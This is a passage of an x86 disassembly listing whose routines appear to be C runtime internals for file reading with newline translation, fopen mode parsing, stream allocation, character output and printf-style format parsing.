		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 26908E1h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 26908E1h
		nop
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
